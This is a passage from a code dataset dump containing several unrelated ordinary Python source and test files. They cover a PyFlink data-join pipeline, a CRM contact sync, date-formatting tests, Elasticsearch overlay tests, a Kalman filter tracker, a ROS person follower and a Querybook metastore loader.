StreamExecutionEnvironment\nfrom pyflink.datastream.execution_mode import RuntimeExecutionMode\n\nfrom xfl.common.common import RunMode\nfrom xfl.common.logger import log\nfrom xfl.data.connectors import tf_record_sink, tf_record_keyed_source\nfrom xfl.data.functions import DefaultKeySelector, ClientSortJoinFunc, ServerSortJoinFunc, ServerPsiJoinFunc, \\\n ClientPsiJoinFunc\nfrom xfl.data.store.sample_kv_store import DictSampleKvStore\nfrom xfl.data.store.flink_state_kv_store import FlinkStateKvStore\nfrom xfl.data.store.etcd_kv_store import EtcdSampleKvStore\n\nTYPE_BYTE_ARRAY = Types.PRIMITIVE_ARRAY(Types.BYTE())\n\nSAMPLE_STORE_TYPE = {\n \"memory\": DictSampleKvStore,\n \"state\": FlinkStateKvStore,\n \"etcd\": EtcdSampleKvStore\n}\n\ndef get_flink_batch_env(conf: dict = {}) -> StreamExecutionEnvironment:\n env = StreamExecutionEnvironment.get_execution_environment()\n env.set_runtime_mode(RuntimeExecutionMode.BATCH)\n config = Configuration(j_configuration=get_j_env_configuration(env._j_stream_execution_environment))\n config.set_integer(\"python.fn-execution.bundle.size\", 10000)\n if 'jars' in conf:\n env.add_jars(*conf['jars'])\n return env\n\nclass data_join_pipeline(object):\n def __init__(self,\n input_path: str,\n output_path: str,\n job_name: str,\n host: str,\n port: int,\n ip: str,\n bucket_num: int,\n run_mode: str,\n hash_col_name: str,\n sort_col_name: str,\n is_server: bool,\n sample_store_type: str,\n batch_size: int,\n file_part_size: int,\n tls_crt_path: str,\n wait_s: int = 1800,\n use_psi: bool = False,\n conf: dict = {}):\n self._job_name = job_name\n env = get_flink_batch_env(conf)\n env.set_max_parallelism(bucket_num)\n env.set_parallelism(bucket_num)\n ds = env.from_source(\n source=tf_record_keyed_source(input_path, hash_col_name, sort_col_name),\n watermark_strategy=WatermarkStrategy.for_monotonous_timestamps(),\n type_info=Types.TUPLE([TYPE_BYTE_ARRAY] * 3),\n source_name=job_name + \"_tf_record_source_with_key\")\n\n tls_crt = b''\n if tls_crt_path is not None:\n with open(tls_crt_path, 'rb') as f:\n tls_crt = f.read()\n log.info(\"tls path:{} \\n tls value:{}\".format(tls_crt_path, tls_crt))\n if is_server:\n if use_psi:\n server_func = ServerPsiJoinFunc\n else:\n server_func = ServerSortJoinFunc\n ds = ds.key_by(DefaultKeySelector(bucket_num=bucket_num), key_type=Types.INT()) \\\n .process(server_func(\n job_name=job_name,\n bucket_num=bucket_num,\n port=port,\n sample_store_cls=SAMPLE_STORE_TYPE[sample_store_type],\n wait_s=wait_s,\n run_mode=RunMode(run_mode),\n batch_size=batch_size),\n output_type=Types.ROW([Types.STRING(), TYPE_BYTE_ARRAY])) \\\n .name(job_name + \"_merge_sort_join_server\")\n else:\n if use_psi:\n client_func = ClientPsiJoinFunc\n else:\n client_func = ClientSortJoinFunc\n ds = ds.key_by(DefaultKeySelector(bucket_num=bucket_num), key_type=Types.INT()) \\\n .process(client_func(\n job_name=job_name,\n peer_host=host,\n peer_ip=ip,\n peer_port=port,\n bucket_num=bucket_num,\n sample_store_cls=SAMPLE_STORE_TYPE[sample_store_type],\n batch_size=batch_size,\n run_mode=RunMode(run_mode),\n wait_s=wait_s,\n tls_crt=tls_crt),\n output_type=Types.ROW([Types.STRING(), TYPE_BYTE_ARRAY])) \\\n .name(job_name + \"_merge_sort_join_cli\")\n\n ds.sink_to(tf_record_sink(output_path, 0, 1, part_size=file_part_size))\n self._env = env\n\n def run(self):\n return self._env.execute(self._job_name)\n\n def get_execution_plan(self):\n return self._env.get_execution_plan()\n","sub_path":"efls-data/xfl/data/pipelines.py","file_name":"pipelines.py","file_ext":"py","file_size_in_byte":4840,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"224791458","text":"import sys\nimport os\nsys.path.append(os.path.dirname(os.path.dirname(__file__)))\n\nfrom eve import Eve\nfrom amocrm import BaseContact, amo_settings, fields\n\napp = Eve(settings='app_settings.py')\namo_settings.set(*app.config.get('AMO_SETTINGS'))\n\n\nclass Contact(BaseContact):\n # amo crm clients model\n phone = fields.EnumCustomField(u'Телефон', enum='WORK')\n\n\nif __name__ == '__main__':\n with app.app_context():\n local_clients = app.data.driver.db[\"clients\"]\n i = 0\n remote_clients = Contact.objects.search('', limit=500)\n while remote_clients:\n for rc in remote_clients:\n amo_id = rc.id\n if not local_clients.find_one({\"amo_id\": amo_id}):\n rc_name = rc.name.split()\n firstname, lastname = rc_name[0], \" \".join(rc_name[1:])\n phone = rc.phone\n if phone and isinstance(phone, list):\n phone = phone[0]\n lc = {\n \"firstname\": firstname,\n \"lastname\": lastname,\n \"phone\": phone,\n \"amo_id\": amo_id,\n }\n local_clients.insert_one(lc)\n i += 1\n remote_clients = Contact.objects.search(\n '', limit=500, limit_offset=500*i)\n","sub_path":"clients/sync.py","file_name":"sync.py","file_ext":"py","file_size_in_byte":1378,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"332755918","text":"from datetime import datetime\n\nimport pytz\nfrom mock import patch\nfrom pytz import UTC\n\nfrom grouper.fe.template_util import expires_when_str, long_ago_str, print_date\n\n\ndef fake_settings_getitem(key):\n if key == \"timezone\":\n return pytz.timezone(\"US/Pacific\")\n elif key == \"date_format\":\n return \"%Y-%m-%d %I:%M %p\"\n\n assert \"unknown setting\"\n\n\ndef test_expires_when_str():\n utcnow_fn = utcnow_fn = lambda: datetime(2015, 8, 11, 12, tzinfo=UTC)\n\n assert expires_when_str(None) == \"Never\", \"no datetime means no expires\"\n\n for date_, expected, msg in [\n (\"2015-08-11 11:00:00.000\", \"Expired\", \"long before should expire\"),\n (\"2015-08-11 12:00:00.000\", \"Expired\", \"same time should expire\"),\n (\"2015-08-11 11:59:59.000\", \"Expired\", \"minute after should expire\"),\n (\"2015-08-11 12:00:00.100\", \"Expired\", \"milliseonds before should expire\"),\n (\"2015-08-11 12:00:01.000\", \"1 second\", \"singular second\"),\n (\"2015-08-11 12:00:02.000\", \"2 seconds\", \"pural second\"),\n (\"2015-08-11 12:01:02.000\", \"1 minute\", \"ignore lower periods\"),\n (\"2016-08-11 12:01:02.000\", \"1 year\", \"ignore lower periods\"),\n (datetime(2015, 8, 11, 12, 0, 1, 0, tzinfo=UTC), \"1 second\", \"from datetime object\"),\n (1439294401.0, \"1 second\", \"from float / unix timestamp\"),\n ]:\n assert expires_when_str(date_, utcnow_fn=utcnow_fn) == expected, msg\n\n\ndef test_long_ago_str():\n utcnow_fn = utcnow_fn = lambda: datetime(2015, 8, 11, 12, tzinfo=UTC)\n\n for date_, expected, msg in [\n (\"2015-08-11 11:00:00.000\", \"1 hour ago\", \"long before should expire\"),\n (\"2015-08-11 12:00:00.000\", \"now\", \"now\"),\n (\"2015-08-11 11:59:59.100\", \"now\", \"milliseonds before should be now\"),\n (\"2015-08-11 11:59:00.000\", \"1 minute ago\", \"1 minute\"),\n (\"2015-08-11 11:58:00.000\", \"2 minutes ago\", \"pural minutes\"),\n (\"2015-08-11 12:00:01.000\", \"in the future\", \"in the future\"),\n (datetime(2015, 8, 11, 11, 0, 0, 0, tzinfo=UTC), \"1 hour ago\", \"from datetime object\"),\n (1439290800.0, \"1 hour ago\", \"from float / unix timestamp\"),\n ]:\n assert long_ago_str(date_, utcnow_fn=utcnow_fn) == expected, msg\n\n\n@patch(\"grouper.fe.template_util.settings\")\ndef test_print_date(mock_settings):\n mock_settings.__getitem__.side_effect = fake_settings_getitem\n\n for date_, expected, msg in [\n (datetime(2015, 8, 11, 18, tzinfo=UTC), \"2015-08-11 11:00 AM\", \"from datetime object\"),\n (datetime(2015, 8, 11, 18, 0, 10, 10, tzinfo=UTC), \"2015-08-11 11:00 AM\", \"ignore sec/ms\"),\n (\"2015-08-11 18:00:00.000\", \"2015-08-11 11:00 AM\", \"from string\"),\n (1439316000.0, \"2015-08-11 11:00 AM\", \"from float / unix timestamp\"),\n ]:\n assert print_date(date_) == expected, msg\n","sub_path":"tests/fe/util_test.py","file_name":"util_test.py","file_ext":"py","file_size_in_byte":2810,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"160848508","text":"import pytest\nimport sdk_install\nimport sdk_networks\nimport sdk_tasks\nimport sdk_utils\nimport shakedown\nfrom tests import config\n\n\n@pytest.fixture(scope='module', autouse=True)\ndef configure_package(configure_security):\n try:\n sdk_install.uninstall(config.PACKAGE_NAME, config.SERVICE_NAME)\n sdk_install.install(\n config.PACKAGE_NAME,\n config.SERVICE_NAME,\n config.DEFAULT_TASK_COUNT,\n additional_options=sdk_networks.ENABLE_VIRTUAL_NETWORKS_OPTIONS)\n\n yield # let the test session execute\n finally:\n sdk_install.uninstall(config.PACKAGE_NAME, config.SERVICE_NAME)\n\n\n\n@pytest.fixture(autouse=True)\ndef pre_test_setup():\n sdk_tasks.check_running(config.SERVICE_NAME, config.DEFAULT_TASK_COUNT)\n config.wait_for_expected_nodes_to_exist(task_count=config.DEFAULT_TASK_COUNT)\n\n\n@pytest.fixture\ndef default_populated_index():\n config.delete_index(config.DEFAULT_INDEX_NAME)\n config.create_index(config.DEFAULT_INDEX_NAME, config.DEFAULT_SETTINGS_MAPPINGS)\n config.create_document(config.DEFAULT_INDEX_NAME, config.DEFAULT_INDEX_TYPE, 1,\n {\"name\": \"Loren\", \"role\": \"developer\"})\n\n\n@pytest.mark.sanity\n@pytest.mark.smoke\n@pytest.mark.overlay\n@pytest.mark.dcos_min_version('1.9')\ndef test_service_health():\n assert shakedown.service_healthy(config.SERVICE_NAME)\n\n\n@pytest.mark.sanity\n@pytest.mark.overlay\n@pytest.mark.dcos_min_version('1.9')\ndef test_indexing(default_populated_index):\n def fun():\n indices_stats = config.get_elasticsearch_indices_stats(config.DEFAULT_INDEX_NAME)\n observed_count = indices_stats[\"_all\"][\"primaries\"][\"docs\"][\"count\"]\n assert observed_count == 1, \"Indices has incorrect count: should be 1, got {}\".format(observed_count)\n doc = config.get_document(config.DEFAULT_INDEX_NAME, config.DEFAULT_INDEX_TYPE, 1)\n observed_name = doc[\"_source\"][\"name\"]\n return observed_name == \"Loren\"\n\n return shakedown.wait_for(fun, timeout_seconds=config.DEFAULT_ELASTIC_TIMEOUT)\n\n\n@pytest.mark.sanity\n@pytest.mark.overlay\n@pytest.mark.dcos_min_version('1.9')\ndef test_tasks_on_overlay():\n elastic_tasks = shakedown.get_service_task_ids(config.SERVICE_NAME)\n assert len(elastic_tasks) == config.DEFAULT_TASK_COUNT, \\\n \"Incorrect number of tasks should be {} got {}\".format(config.DEFAULT_TASK_COUNT, len(elastic_tasks))\n for task in elastic_tasks:\n sdk_networks.check_task_network(task)\n\n\n@pytest.mark.sanity\n@pytest.mark.overlay\n@pytest.mark.dcos_min_version('1.9')\ndef test_endpoints_on_overlay():\n endpoint_types_without_ingest = (\n 'coordinator-http', 'coordinator-transport',\n 'data-http', 'data-transport',\n 'master-http', 'master-transport')\n\n observed_endpoints = sdk_networks.get_and_test_endpoints(config.PACKAGE_NAME, config.SERVICE_NAME, \"\",\n len(endpoint_types_without_ingest))\n for endpoint in endpoint_types_without_ingest:\n assert endpoint in observed_endpoints, \"missing {} endpoint\".format(endpoint)\n specific_endpoint = sdk_networks.get_and_test_endpoints(config.PACKAGE_NAME, config.SERVICE_NAME, endpoint, 3)\n sdk_networks.check_endpoints_on_overlay(specific_endpoint)\n","sub_path":"dcos-commons/frameworks/elastic/tests/test_overlay.py","file_name":"test_overlay.py","file_ext":"py","file_size_in_byte":3298,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"343327979","text":"import numpy as np\nfrom numpy.linalg import inv\nfrom .base_tracker import BaseTracker, BaseTrackRecord\n\n\ndef KalmanFilterUpdate(X, P, Y, H, R):\n '''\n Function:\n Predict position matrix and covariance matrix for next frame\n Update the estimation\n\n Input:\n X: np.array [4, 1] cx, vx, cy, vy\n P: np.array [4, 4] # covariance matrix\n Y: np.array [2, 1] cx, cy # detected result\n H: np.array [2, 4] # transfrom matrix\n R: np.array [4, 4] # error matrix for detected result\n\n Ouput:\n new_X: np.array [4, 1]\n new_P: np.array [2, 1]\n '''\n\n IM = H.dot(X)\n IS = R + H.dot(P).dot(H.transpose())\n K = P.dot(H.transpose()).dot(inv(IS))\n new_X = X + K.dot(Y - IM)\n new_P = P - K.dot(IS).dot(K.transpose())\n return new_X, new_P\n\n\ndef KalmanFilterPredict(X, P, A, Q):\n '''\n Function:\n Predict position matrix and covariance matrix for next frame\n\n Input:\n X: np.array [4, 1] cx, vx, cy, vy\n P: np.array [4, 4] # covariance matrix\n A: np.array [4, 4] # transform matrix for current X\n Q: np.array [4, 4] # error matrix for current P\n\n Ouput:\n new_X: np.array [4, 1]\n new_P: np.array [2, 1]\n '''\n\n new_X = np.dot(A, X)\n new_P = A.dot(P).dot(A.transpose()) + Q\n return new_X, new_P\n\ndef KalmanFilterLoop(X, P, H, R, Y, A, Q):\n '''\n Function:\n Predict position matrix and covariance matrix for next frame\n Update the estimation\n\n Input:\n X: np.array [4, 1] cx, vx, cy, vy\n P: np.array [4, 4] # covariance matrix\n H: np.array [2, 4] # transfrom matrix\n R: np.array [4, 4] # error matrix for detected result\n Y: np.array [2, 1] cx, cy # detected result\n A: np.array [4, 4] # transform matrix for current X\n Q: np.array [4, 4] # error matrix for current P\n\n Ouput:\n new_X: np.array [4, 1]\n new_P: np.array [2, 1]\n '''\n \n tmp_X, tmp_P = KalmanFilterPredict(X, P, A, Q)\n new_X, new_P = KalmanFilterUpdate(tmp_X, tmp_P, Y, H, R)\n return new_X, new_P\n\n\ndef KalmanFilterEstimation(X, P, Y, Y_valid):\n '''\n Function:\n Estimate position matrix X and covariance matrix P for current frame\n\n Input:\n X: np.array [4, 1] cx, vx, cy, vy\n P: np.array [4, 4] # covariance matrix\n Y: np.array [2, 1] cx, cy # current detected result\n Y_valid: bool # whether use detected result\n\n Ouput:\n new_X: np.array [4, 1]\n new_P: np.array [2, 1]\n '''\n\n # 1. Generate transform matrix for detected position\n H = np.zeros((2, 4))\n H[0][0] = 1 # identical transform for cx\n H[1][2] = 1 # identical transform for cy\n\n # 2. Generate covariance matrix for detected position\n R = np.zeros((2, 2))\n R[0][0] = R[1][1] = 0.1 # 0.1 * Identity Matrix\n\n # 3. Generate status transform matrix for current position\n A = np.zeros((4, 4))\n A[0][0] = A[1][1] = A[2][2] = A[3][3] = 1 # Identity Matrix\n A[0][1] = 1 # cx' = cx + vx\n A[2][3] = 1 # cy' = cy + vy\n\n # 4. Generate error matrix for prediction variance\n Q = np.zeros((4, 4))\n Q[0][0] = Q[1][1] = Q[2][2] = Q[3][3] = 1 # Identity Matrix\n Q[0][1] = Q[1][0] = Q[2][3] = Q[3][2] = 1\n Q = Q * 0.0025\n\n if Y_valid:\n return KalmanFilterLoop(X, P, H, R, Y, A, Q)\n else:\n return KalmanFilterPredict(X, P, A, Q)\n\nclass KalmanFilterTrackRecord(BaseTrackRecord):\n\n def __init__(self, track_id, roi, score, cur_frame):\n super(KalmanFilterTrackRecord, self).__init__(track_id, roi, score, cur_frame)\n \n X = np.zeros((4, 1))\n X[0][0] = self.obj.cx\n X[2][0] = self.obj.cy\n\n Y = np.zeros((2, 1))\n Y[0][0] = self.obj.cx\n Y[1][0] = self.obj.cy\n\n P = np.zeros((4, 4))\n P[0][0] = P[1][1] = P[2][2] = P[3][3] = 1\n P = P * 5\n\n self.cur_X, self.cur_P = KalmanFilterEstimation(X, P, Y, True)\n\nclass KalmanFilterTracker(BaseTracker):\n\n def status_update(self, trk):\n Y = np.zeros((2, 1))\n if trk.last_update == self.cur_frame:\n Y_valid = True\n Y[0][0] = trk.obj.cx\n Y[1][0] = trk.obj.cy\n trk.h = trk.obj.h\n trk.w = trk.obj.w\n else:\n Y_valid = False\n\n X = trk.cur_X\n P = trk.cur_P\n\n trk.cur_X, trk.cur_P = KalmanFilterEstimation(X, P, Y, Y_valid)\n trk.cx = trk.cur_X[0][0]\n trk.cy = trk.cur_X[2][0]\n \n return trk\n\n def generate_track(self, roi, track_id, track_score, cur_frame):\n return KalmanFilterTrackRecord(track_id, roi, track_score, cur_frame)\n","sub_path":"unn/models/tracks/kalman_filter_tracker.py","file_name":"kalman_filter_tracker.py","file_ext":"py","file_size_in_byte":4665,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"311619600","text":"#! /usr/bin/python3\n#-#coding:utf-8#-#\n# Author: weber\n# Date: 2018-05-27\n\nimport sys\ndef read_print_file(filename):\n for line in (filename):\n print(line)\n\ndef main():\n if len(sys.argv)<2:\n print(sys.stderr,'Usage:python %s filename' % sys.argv[0])\n sys.exit()\n file = sys.argv[1]\n read_print_file(file)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"cat_test.py","file_name":"cat_test.py","file_ext":"py","file_size_in_byte":377,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"622817550","text":"#!/usr/bin/env python\n\nimport numpy\nimport rospy\nimport smach\nfrom geometry_msgs.msg import Twist\nfrom geometry_msgs.msg import Vector3\nfrom sensor_msgs.msg import LaserScan\n\nfrom laser_scan_data_munger import LaserScanDataMunger\n\n\nclass PersonFollower(smach.State):\n def __init__(self):\n smach.State.__init__(self, outcomes=['PersonFollower'])\n self._pub = rospy.Publisher('cmd_vel', Twist, queue_size=10)\n self._sub = rospy.Subscriber('/scan', LaserScan, self._scan_received)\n self._rate = rospy.Rate(10)\n self.angle_to_man = -1.0\n self.distance_to_man = -1.0\n\n def execute(self, user_data):\n self._publish_vel()\n return 'PersonFollower' \n\n def _scan_received(self, msg):\n data = msg.ranges\n munger = LaserScanDataMunger()\n smoothed = munger.munge(data)\n self.angle_to_man, self.distance_to_man = self._find_man(smoothed)\n\n def _find_man(self, smoothed_data):\n distance_to_man = min(smoothed_data)\n angle_to_man = smoothed_data.index(distance_to_man)\n return angle_to_man, distance_to_man\n\n def _publish_vel(self):\n msg = self._calculate_vel(self.angle_to_man, self.distance_to_man)\n self._pub.publish(msg)\n\n def _calculate_vel(self, angle_to_man, distance_to_man):\n linear = self._calculate_linear_vel(angle_to_man, distance_to_man)\n angular = self._calculate_angular_vel(angle_to_man, distance_to_man)\n return Twist(linear=linear, angular=angular)\n\n def _calculate_linear_vel(self, angle_to_man, distance_to_man):\n if self._facing_man(angle_to_man) and distance_to_man > 0.5:\n x = 0.2\n else:\n x = 0\n\n return Vector3(x=x, y=0, z=0)\n\n def _facing_man(self, angle_to_man):\n return angle_to_man < 3 or angle_to_man > 357\n\n def _calculate_angular_vel(self, angle_to_man, distance_to_man):\n if angle_to_man < 180:\n turn_direction = 1\n else:\n turn_direction = -1\n\n z = 0.2 * turn_direction\n return Vector3(x=0, y=0, z=z)\n\nif __name__ == '__main__':\n try:\n follower = PersonFollower()\n follower.execute()\n except rospy.ROSInterruptException:\n pass\n","sub_path":"src/warmup_project/scripts/person_follower.py","file_name":"person_follower.py","file_ext":"py","file_size_in_byte":2245,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"573372683","text":"from abc import ABCMeta, abstractmethod, abstractclassmethod\nimport gevent\nimport math\nfrom typing import NamedTuple, List, Dict, Tuple\nimport traceback\n\nfrom app.db import DBSession, with_session\nfrom lib.logger import get_logger\n\nfrom lib.form import AllFormField\nfrom lib.utils import json\nfrom lib.utils.utils import with_exception\nfrom logic.elasticsearch import update_table_by_id, delete_es_table_by_id\nfrom logic.metastore import (\n create_schema,\n delete_schema,\n create_table,\n delete_table,\n create_table_information,\n create_column,\n delete_column,\n iterate_data_schema,\n get_table_by_schema_id,\n get_column_by_table_id,\n get_schema_by_name,\n get_table_by_schema_id_and_name,\n)\n\nfrom .utils import MetastoreTableACLChecker\n\nLOG = get_logger(__name__)\n\n\nclass DataSchema(NamedTuple):\n name: str\n\n\nclass DataTable(NamedTuple):\n name: str\n\n # The type of table, it can be an arbitrary string\n type: str = None\n owner: str = None\n\n # Expected in UTC seconds\n table_created_at: int = None\n table_updated_at: int = None\n table_updated_by: str = None\n\n # size of table\n data_size_bytes: int = None\n # Location of the raw file\n location: str = None\n\n # Json arrays of partitions\n partitions: List = []\n\n # Store the raw info here\n raw_description: str = None\n\n\nclass DataColumn(NamedTuple):\n name: str\n type: str\n comment: str = None\n\n\nclass BaseMetastoreLoader(metaclass=ABCMeta):\n def __init__(self, metastore_dict: Dict):\n self.metastore_id = metastore_dict[\"id\"]\n self.acl_checker = MetastoreTableACLChecker(metastore_dict[\"acl_control\"])\n\n @with_session\n def sync_create_or_update_table(self, schema_name, table_name, session=None) -> int:\n \"\"\"Given a full qualified table name,\n sync the data in metastore with database\n\n Arguments:\n schema_name {str} -- the schema name\n table_name {str} -- the table name\n\n Returns:\n int -- the table id\n \"\"\"\n schema = get_schema_by_name(schema_name, self.metastore_id, session=session)\n if schema is None: # If no schema, create it\n # One caveat, What if table actually\n # Does not exist?\n schema = create_schema(\n schema_name,\n table_count=1,\n metastore_id=self.metastore_id,\n session=session,\n )\n return self._create_table_table(\n schema.id, schema_name, table_name, session=session\n )\n\n @with_session\n def sync_delete_table(self, schema_name, table_name, session=None):\n \"\"\"Given a full qualified table name,\n Remove the table if it exists\n\n Arguments:\n schema_name {str} -- the schema name\n table_name {str} -- the table name\n\n \"\"\"\n # Double check if the table is indeed removed\n raw_table, _ = self.get_table_and_columns(schema_name, table_name)\n # If no schema, then table doesn't exist\n schema = get_schema_by_name(schema_name, self.metastore_id, session=session)\n if not raw_table and schema is not None:\n table = get_table_by_schema_id_and_name(\n schema.id, table_name, session=session\n )\n if table:\n delete_table(table_id=table.id, session=session)\n\n def load(self):\n schema_tables = []\n schema_names = set(self._get_all_filtered_schema_names())\n\n with DBSession() as session:\n delete_schema_not_in_metastore(\n self.metastore_id, schema_names, session=session\n )\n for schema_name in schema_names:\n table_names = self._get_all_filtered_table_names(schema_name)\n schema_id = create_schema(\n name=schema_name,\n table_count=len(table_names),\n metastore_id=self.metastore_id,\n session=session,\n ).id\n delete_table_not_in_metastore(schema_id, table_names, session=session)\n schema_tables += [\n (schema_id, schema_name, table_name) for table_name in table_names\n ]\n self._create_tables_batched(schema_tables)\n\n def _create_tables_batched(self, schema_tables):\n \"\"\"Create greenlets for create table batches\n\n Arguments:\n schema_tables {List[schema_id, schema_name, table_name]} -- List of configs to load table\n \"\"\"\n batch_size = self._get_batch_size(len(schema_tables))\n greenlets = []\n thread_num = 0\n while True:\n table_batch = schema_tables[\n (thread_num * batch_size) : ((thread_num + 1) * batch_size)\n ]\n thread_num += 1\n\n if len(table_batch):\n greenlets.append(gevent.spawn(self._create_tables, table_batch))\n else:\n break\n gevent.joinall(greenlets)\n\n def _create_tables(self, schema_tables):\n with DBSession() as session:\n for (schema_id, schema_name, table) in schema_tables:\n self._create_table_table(schema_id, schema_name, table, session=session)\n\n @with_session\n def _create_table_table(self, schema_id, schema_name, table_name, session=None):\n table = None\n columns = None\n\n try:\n table, columns = self.get_table_and_columns(schema_name, table_name)\n except Exception:\n LOG.error(traceback.format_exc())\n\n if not table:\n return\n\n try:\n table_id = create_table(\n name=table.name,\n type=table.type,\n owner=table.owner,\n table_created_at=table.table_created_at,\n table_updated_by=table.table_updated_by,\n table_updated_at=table.table_updated_at,\n data_size_bytes=table.data_size_bytes,\n location=table.location,\n column_count=len(columns),\n schema_id=schema_id,\n session=session,\n ).id\n create_table_information(\n data_table_id=table_id,\n latest_partitions=json.dumps((table.partitions or [])[-10:]),\n earliest_partitions=json.dumps((table.partitions or [])[:10]),\n hive_metastore_description=table.raw_description,\n session=session,\n )\n delete_column_not_in_metastore(\n table_id, set(map(lambda c: c.name, columns)), session=session\n )\n\n for column in columns:\n create_column(\n name=column.name,\n type=column.type,\n comment=column.comment,\n table_id=table_id,\n commit=False,\n session=session,\n )\n session.commit()\n update_table_by_id(table_id, session=session)\n return table_id\n except Exception:\n session.rollback()\n LOG.error(traceback.format_exc())\n\n @with_exception\n def _get_all_filtered_schema_names(self) -> List[str]:\n return [\n schema_name\n for schema_name in self.get_all_schema_names()\n if self.acl_checker.is_schema_valid(schema_name)\n ]\n\n @with_exception\n def _get_all_filtered_table_names(self, schema_name: str) -> List[str]:\n return [\n table_name\n for table_name in self.get_all_table_names_in_schema(schema_name)\n if self.acl_checker.is_table_valid(schema_name, table_name)\n ]\n\n def _get_batch_size(self, num_tables: int):\n parallelization_setting = self._get_parallelization_setting()\n num_threads = parallelization_setting[\"num_threads\"]\n min_batch_size = parallelization_setting[\"min_batch_size\"]\n\n batch_size = max(int(math.ceil(num_tables / num_threads)), min_batch_size)\n return batch_size\n\n @abstractmethod\n def get_all_schema_names(self) -> List[str]:\n \"\"\"Override this to get a list of all schema names\n\n Returns:\n List[str] -- [schema name]\n \"\"\"\n pass\n\n @abstractmethod\n def get_all_table_names_in_schema(self, schema_name: str) -> List[str]:\n \"\"\"Override this to get a list of all table names under given schema\n\n Arguments:\n schema_name {str}\n\n Returns:\n List[str] -- [A list of tbale names]\n \"\"\"\n pass\n\n @abstractmethod\n def get_table_and_columns(\n self, schema_name: str, table_name: str\n ) -> Tuple[DataTable, List[DataColumn]]:\n \"\"\"Override this to get the table given by schema name and table name, and a list of its columns\n\n Arguments:\n schema_name {[str]}\n table_name {[str]}\n\n Returns:\n Tuple[DataTable, List[DataColumn]] -- Return [null, null] if not found\n \"\"\"\n pass\n\n @abstractclassmethod\n def get_metastore_params_template(self) -> AllFormField:\n \"\"\"Override this to get the form field required for the metastore\n\n Returns:\n AllFormField -- The form field template\n \"\"\"\n pass\n\n def _get_parallelization_setting(self):\n \"\"\"Override this to have different parallelism.\n\n The num_threads determines the maximum number of threads\n that will be used. The min_batch_size determines the minimum\n number of tables each threads will process.\n\n For example, if you have num_threads at 2 and min_batch_size at 100.\n Then only 1 thread would be used unless you process more than 100 tables.\n\n Returns:\n dict: 'num_threads' | 'min_batch_size' -> int\n \"\"\"\n return {\"num_threads\": 10, \"min_batch_size\": 50}\n\n @classmethod\n def serialize_loader_class(cls):\n return {\n \"name\": cls.__name__,\n \"template\": cls.get_metastore_params_template().to_dict(),\n }\n\n\n@with_session\ndef delete_schema_not_in_metastore(metastore_id, schema_names, session=None):\n for data_schema in iterate_data_schema(metastore_id, session=session):\n LOG.info(\"checking schema %d\" % data_schema.id)\n if data_schema.name not in schema_names:\n # We delete table 1 by 1 since we need to delete it for elasticsearch\n # Maybe we can optimize it to allow batch deletion\n for table in data_schema.tables:\n table_id = table.id\n delete_table(table_id=table_id, commit=False, session=session)\n delete_es_table_by_id(table_id)\n delete_schema(id=data_schema.id, commit=False, session=session)\n LOG.info(\"deleted schema %d\" % data_schema.id)\n session.commit()\n\n\n@with_session\ndef delete_table_not_in_metastore(schema_id, table_names, session=None):\n db_tables = get_table_by_schema_id(schema_id, session=session)\n\n with session.no_autoflush:\n for data_table in db_tables:\n if data_table.name not in table_names:\n table_id = data_table.id\n delete_table(table_id=table_id, commit=False, session=session)\n delete_es_table_by_id(table_id)\n LOG.info(f\"deleted table {table_id}\")\n session.commit()\n\n\n@with_session\ndef delete_column_not_in_metastore(table_id, column_names, session=None):\n db_columns = get_column_by_table_id(table_id, session=session)\n\n for column in db_columns:\n if column.name not in column_names:\n delete_column(id=column.id, commit=False, session=session)\n LOG.info(\"deleted column %d\" % column.id)\n session.commit()\n","sub_path":"querybook/server/lib/metastore/base_metastore_loader.py","file_name":"base_metastore_loader.py","file_ext":"py","file_size_in_byte":11818,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"315723352","text":"import sys\nimport pipelines.pipelines\nimport inspect\n\nCOMMANDS = {'pipeline': pipelines.pipelines}\n\nif __name__ == '__main__':\n args = [arg for arg in sys.argv if arg != __file__]\n\n # command is valid?\n try:\n # known first arg?\n try:\n exec_mod = COMMANDS[args[0]]\n except KeyError:\n raise SyntaxError('Invalid Argument -- ' + args[0])\n\n modules = {cls[0]: cls[1] for cls in inspect.getmembers(pipelines.pipelines, inspect.isclass)}\n\n # known second arg?\n try:\n exec_cls = modules[args[1]]()\n except KeyError:\n raise SyntaxError('Class Not Found -- ' + args[1])\n\n exec_cls.run(args[2])\n\n except IndexError:\n raise SyntaxError('Incomplete Argument.')\n\n\n","sub_path":"redal/manage.py","file_name":"manage.py","file_ext":"py","file_size_in_byte":770,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"100712661","text":"from django import template\nfrom app.models import Attendee\n\nregister = template.Library()\n\n@register.filter\ndef count_attending(event):\n count = 0\n\n for a in event.attendees.all():\n a_obj = Attendee.objects.get(user=a, event=event)\n count += 1 if a_obj.attending == 1 else 0\n\n return count\n","sub_path":"app/templatetags/count_attending.py","file_name":"count_attending.py","file_ext":"py","file_size_in_byte":314,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"444050965","text":"\"\"\"league URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/1.11/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.conf.urls import url, include\n 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls'))\n\"\"\"\nfrom django.conf.urls import url\nfrom django.contrib import admin\nfrom league_tracker import views\n\nurlpatterns = [\n 